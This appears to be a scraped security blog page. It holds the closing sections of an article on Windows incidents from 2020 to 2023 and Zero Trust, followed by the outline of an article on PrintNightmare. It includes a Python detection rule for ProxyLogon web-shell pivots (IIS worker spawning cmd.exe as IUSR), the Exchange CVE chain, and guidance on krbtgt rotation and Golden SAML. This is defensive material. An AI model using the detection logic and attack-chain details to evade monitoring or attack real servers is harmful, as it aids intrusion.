BloodHound Community Edition with the SpecterOps AzureHound collector is the cloud-side companion to SharpHound's on-premises Active Directory enumeration. Combined BloodHound CE graph models both on-premises and cloud-identity attack paths with explicit cross-boundary edges for Azure AD Connect, Pass-Through Authentication, hybrid-joined devices, and federated trusts [@azurehound-github, @bloodhound-azurehound-docs, @bloodhound-specterops]. BloodHound CE plus AzureHound occupies the graph-reachability lane: what is the set of lateral-movement paths from any identity to any Tier-0 cloud or on-premises identity?

Layer the three tools together. The composition is the operational closure of §5's "policy is code" claim against the §9 open-problem-3 detection lane.

CAOptics was archived read-only by its maintainer in August 2024 with the README note "Project archived due to shifting development priorities" [@caoptics-github]. The tool remains functional and architecturally canonical for the gap-enumeration lane; readers wanting active development for the graph-reachability lane should track SpecterOps's BloodHound CE AzureHound documentation [@bloodhound-azurehound-docs] for the rolling-release collector and BloodHound CE schema updates.

Logic equivalent of a Sigma rule for the ProxyLogon-class web-shell pivot. The rule matches the canonical fingerprint of an IIS worker spawning cmd.exe under the IUSR identity (Exchange front-end shells typically execute under IUSR_ after dropping into IIS).

def matches_proxylogon_pivot(event): return ( event.get('event_id') == 4688 # process creation and event.get('parent_process_name', '').lower().endswith('w3wp.exe') and event.get('process_name', '').lower().endswith('cmd.exe') and (event.get('user_name') or '').lower().startswith('iusr') )

example = { 'event_id': 4688, 'parent_process_name': 'C:\\Windows\\System32\\inetsrv\\w3wp.exe', 'process_name': 'C:\\Windows\\System32\\cmd.exe', 'user_name': 'IUSR_EXCH01', } print('match' if matches_proxylogon_pivot(example) else 'no match') `}

Lane 3: Confirmed-compromise response. A confirmed signed-vendor-update compromise is a vendor-level incident. Rotate every secret the trojanized binary could have read. Treat ADFS token-signing certificates as compromised; rotate them with new private key material on hardware-attested storage where possible. Rotate krbtgt twice per the Microsoft AD Forest Recovery procedure to invalidate any forged Kerberos tickets. Assume Conditional Access policies were bypassed during the active window if Golden SAML was in play; review sign-in logs for the affected federated trust for the full intrusion window.

The double-krbtgt rotation is not paranoia. A single rotation invalidates tickets signed with the prior key; a second rotation, after the configured maximum-ticket-lifetime, ensures the prior-prior key is also retired and no ticket signed with either prior key is still valid. The Microsoft AD Forest Recovery procedure documents the operation explicitly, with a minimum 10-hour wait between resets to exceed the default Maximum-Lifetime-For-User-Ticket and Maximum-Lifetime-For-Service-Ticket policy values [@ms-ad-forest-recovery-krbtgt]. The procedure exists because the second rotation cannot happen until any in-flight ticket with the prior key has expired, and skipping it leaves a window in which forged tickets remain serviceable.

Lane 4: What does not work. The operational anti-patterns the four incidents made expensive.

Note: Patching CVE-2021-26855 alone is insufficient if the web shell was already on disk before the patch -- the patch closes the entry; it does not remove the shell. Rotating krbtgt does not address Golden SAML; Golden SAML is a SAML-token-signing problem, and krbtgt is the Kerberos key. Rotating ADFS token-signing certificates is the corresponding action. Enabling Conditional Access for the identity the attacker forged tokens for is a closed-stable-door fix; Conditional Access enforcement happens at the resource server, and a forged SAML assertion already passed through the identity layer at the moment the resource server checks. Pluton on the workstation does not retroactively protect the Domain Controller -- Pluton is workstation-class silicon in 2023, and Server SKUs are a separate roadmap.

The FAQ closes the audit-flagged premises this article opened with.

11. Frequently Asked Questions

No. The canonical pre-auth chain is three CVEs: CVE-2021-26855 (server-side request forgery) into CVE-2021-26858 or CVE-2021-27065 (arbitrary file write) into an ASPX web shell at SYSTEM [@volexity-exchange-marauder, @tenable-exchange-zd]. CVE-2021-26857 is a separate insecure-deserialization RCE in Exchange Unified Messaging that requires authentication; it sits in a parallel position to the SSRF chain rather than as a fused step. The "four chained zero-days" shorthand collapses two distinct attack-class shapes and obscures the SSRF-as-load-bearing-primitive observation. Microsoft's March 2 advisories cover all four CVEs together because they were patched together, not because they were exploited as a single linear chain. No. See §3.2 Blast radius for the breakdown: Krebs reported "at least 30,000" U.S. organizations pre-patch on March 5 [@krebs-hafnium-march5]; Bloomberg reported "as many as 60,000" worldwide on March 7 [@krebs-hafnium-march5]. The figure that runs toward 250,000 aggregates *post-patch* indiscriminate exploitation by multiple actor groups (LuckyMouse, Tick, Calypso, Winnti, and others, per ESET's March 10 ten-APT-groups analysis [@eset-exchange-10apt-2021]) in the weeks after Microsoft's March 2 advisory; it is not a pre-patch numerator. The product was called Azure AD Identity Protection at the time. Azure AD Conditional Access (the policy engine) and Azure AD Identity Protection (the risk-signal source) were already integrated before 2021; the integration is what makes risk-based Conditional Access policies possible. The "Entra" brand was introduced on May 31, 2022 as a family umbrella in Vasu Jakkal's "Secure access for a connected world--meet Microsoft Entra" announcement on the Microsoft Security Blog [@ms-entra-launch-may2022], and the rename of Azure AD to Microsoft Entra ID -- and therefore of Azure AD Identity Protection to Microsoft Entra ID Protection -- happened on July 11, 2023 [@ms-entra-rebrand]. Citations to the 2021-2022 product should use the Azure AD naming; citations to the current product use Microsoft Entra ID. No. NIST SP 800-207 [@nist-sp-800-207] references BeyondCorp as one production implementation of Zero Trust principles, alongside other implementations and prior architectural work. The document is a vendor-neutral synthesis of Kindervag's 2010 Forrester framing [@kindervag-2010-forrester], Forrester's ZTX taxonomy, Gartner's CARTA continuous-evaluation framing, federal TIC guidance, and BeyondCorp's worked example. "Zero Trust" predates BeyondCorp -- Kindervag coined the term in September 2010, four years before Ward and Beyer's first BeyondCorp paper [@ward-beyer-2014-usenix]. The marketing-collapsed reading of "Zero Trust equals BeyondCorp" or "Zero Trust equals Microsoft Conditional Access" obscures a thirteen-year intellectual chain. The bug is in Apache Log4j, a Java logging library [@log4j-apache-security], and the affected versions are Log4j 2.0 through 2.14.1. The vulnerability is not Windows-specific. It belongs in this Windows-security series because the most enterprise-impactful exploitation in Windows-server fleets ran through Java applications hosted on Windows: Tomcat, JBoss, VMware vCenter and Horizon, Atlassian Confluence and Jamf Pro on Windows, and dozens of internal Java services running on Windows Server with embedded JREs. The architectural lesson -- that transitive dependency graphs are the new universal attack surface -- applies to every operating system that hosts Java, but Windows fleets were a substantial fraction of the affected population. Both, depending on what is being counted. Pluton was announced on November 17, 2020 [@weston-2020-pluton]. The first commercial PCs to ship with Pluton enabled were the Lenovo ThinkPad Z13 and Z16 with AMD Ryzen 6000 SoCs, announced at CES 2022 on January 4, 2022 [@pluton-windows-blog-jan2022, @lenovo-thinkpad-z-press-jan2022] with general commercial availability starting in May 2022 per Lenovo's StoryHub pricing-and-availability disclosure [@lenovo-thinkpad-z-press-jan2022]. The chipset rollout broadened across 2022-2024 to include AMD Ryzen 7000, 8000, and 9000, Intel Core Ultra 200V and Series 3, and Qualcomm Snapdragon 8cx Gen 3 and X Series processors [@ms-pluton-learn]. Pluton present is not Pluton enabled -- OEMs can disable the processor at the firmware level via PSP directory entry 0xB bit 36 on AMD platforms [@mjg59-pluton] -- so fleet-management claims about Pluton deployment should distinguish "present" from "enabled and acting as the TPM."

The four incidents are the receipt the industry collected on a thirty-six-year-old prediction. The Generation 5 defensive stack is the vocabulary the industry borrowed to talk about what changed. The vocabulary is now sufficient. The trust roots are not. Part 6 picks up the trust-root layer where Generation 5 left it -- Storm-0558 (July 2023), the Microsoft consumer-MSA signing-key compromise that produced enterprise tokens Conditional Access could not distinguish from legitimate ones, and the architectural question it opened: if the policy engine itself is privileged, what closes the compromise of the policy engine as a class?

Parag Mali - tag: printnightmare

Three Years of PrintNightmare: How the Oldest Windows Service Survived Four Patch Waves

1. June 29, 2021: The Repository That Should Not Have Existed

2. The Artifact: What spoolsv.exe Is and Why It Was Built This Way

2.1 Anatomy

2.2 The RPC Surface

2.3 The Back-Compat Constraint

2.4 Point and Print and Why It Is Its Own Constraint

3. Pre-history: Stuxnet, PrintDemon, and the Bug Class That Already Had a Decade Behind It

3.1 CVE-2010-2729 (Stuxnet, MS10-061)

3.2 CVE-2020-1048 (PrintDemon, May 2020)

3.3 CVE-2020-1337 (PrintDemon Redux, August 2020)

3.4 The Pattern Nobody Had Yet Named

4. The Patch Cascade: Four Generations of PrintNightmare

4.1 Generation 1: The June 8 Patch and the Sangfor Disclosure Failure

4.2 Generation 2: @cube0x0, MS-PAR, and the Asynchronous-Variant Patch Bypass

4.3 Generation 3: CVE-2021-34481, KB5005010, KB5005652, and the September Policy Rewrite

4.4 Generation 4: CVE-2022-21999 (SpoolFool, February 8, 2022)

4.5 Generation 5: CVE-2024-38198 (August 13, 2024 Patch Tuesday)

4.6 The Four-Generation Patch Tree, in One Diagram

5. The Architectural Concession: Why Microsoft Cannot Sandbox spoolsv.exe

5.1 The Naive Sandbox Proposal

5.2 PrintIsolationHost.exe as Partial Answer

5.3 The MORSE Framing

5.4 The Forced Parallel-Stack Answer

5.5 The Conjunct Framing as Lead-in to Section 8

6. State of the Art: Windows Protected Print Mode in 24H2

6.1 What WPP Changes

6.2 Mapping WPP to the Three Conjuncts

6.3 The Compatibility Envelope

6.4 Deployment Surfaces and Detection Signals

6.5 Redirection Guard

6.6 A Failed PrintNightmare Attempt Against a WPP-Enabled Host

7. Competing Answers: Universal Print versus Windows Protected Print Mode

7.1 Universal Print at One Glance

7.2 The Cost of Universal Print

7.3 Head-to-Head

7.4 The Composition Pattern

8. Theoretical Limits: The Architectural Impossibility Argument

8.1 The Three-Conjunct Primitive

8.2 The Three Exits

8.3 What No Exit Covers

8.4 The Argument as a Lower Bound

9. Open Problems

9.1 WPP Adoption Velocity Through the Opt-In Tail

9.2 The Specialty-Printer Gap

9.3 CVE-2024-38198: Attribution and PoC Gap

9.4 The spoolsv-to-Spooler-Worker IPC Primitive

9.5 Detection Signal Coverage for the Post-WPP Era

10. Practical Guide: What a Defender Does in 2026

10.1 Tier 1: Managed Enterprise with Cloud Workflows

10.2 Tier 2: Managed Enterprise Without Cloud Workflows

10.3 Tier 3: Specialty, Industrial, Regulated

10.4 Tier 4: Print Server or Domain Controller Specifically

11. Frequently Asked Questions

The Thirteen Months That Made Zero Trust Unavoidable: The Windows Security Wars Part 5 (2020-2023)

1. Eighteen Thousand Signatures, All Valid

2. Why 2020 Was the Inflection Point

3. The Four Incidents

3.1 SolarWinds / SUNBURST: Supply Chain at Silicon

3.2 HAFNIUM / ProxyLogon: The Front-End That Pre-Authenticated for the Back-End

3.3 PrintNightmare: The Legacy SYSTEM Service on Every Domain Controller

3.4 Log4Shell: The Universal Library and the Transitive Dependency Graph

4. Why Prior Art Did Not Catch Any of the Four

5. Zero Trust Was Already on the Shelf

6. The Defensive Layer That Shipped at Scale (2021-2023)

6.1 Microsoft Pluton: The Hardware Response to a Supply-Chain Class

6.2 The Windows 11 Hardware Baseline

6.3 Conditional Access, CAE, and the Primary Refresh Token

6.4 LSA Protection and the Vulnerable Driver Blocklist

6.5 Microsoft Defender XDR: The Composition Primitive

7. Three Live Zero Trust Specifications

8. What Even Perfect Execution Cannot Reach

9. Five Things 2026 Still Cannot Do

10. What a Practitioner Does Today

11. Frequently Asked Questions

2. The Artifact: What `spoolsv.exe` Is and Why It Was Built This Way

4.2 Generation 2: `@cube0x0`, MS-PAR, and the Asynchronous-Variant Patch Bypass

5. The Architectural Concession: Why Microsoft Cannot Sandbox `spoolsv.exe`